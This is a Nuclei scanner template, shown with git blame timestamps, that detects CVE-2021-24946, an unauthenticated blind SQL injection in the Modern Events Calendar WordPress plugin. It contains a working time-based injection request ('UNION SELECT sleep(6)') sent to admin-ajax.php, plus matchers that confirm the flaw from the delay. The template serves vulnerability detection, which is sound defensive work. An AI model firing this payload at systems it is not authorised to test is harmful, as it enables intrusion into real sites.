nuclei-templates/cves/2021/CVE-2021-24946.yaml

34 lines
1.2 KiB
YAML
Raw Normal View History

2023-01-02 13:01:31 +00:00
id: CVE-2021-24946
info:
2023-01-03 11:35:04 +00:00
name: Modern Events Calendar < 6.1.5 - Blind SQL Injection
2023-01-02 13:01:31 +00:00
author: theamanrawat
severity: critical
description: |
The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue.
reference:
- https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
- https://wordpress.org/plugins/modern-events-calendar-lite/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24946
classification:
cve-id: CVE-2021-24946
metadata:
verified: "true"
2023-01-03 11:35:04 +00:00
tags: cve,cve2021,wordpress,wp-plugin,wp,sqli,modern-events-calendar-lite,unauth
2023-01-02 13:01:31 +00:00
requests:
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
2023-01-03 11:35:04 +00:00
- 'status_code == 200 || status_code == 500'
2023-01-02 13:01:31 +00:00
- 'contains(content_type, "text/html")'
2023-01-03 11:35:04 +00:00
- 'contains(body, "The event is finished") || contains(body, "been a critical error")'
condition: and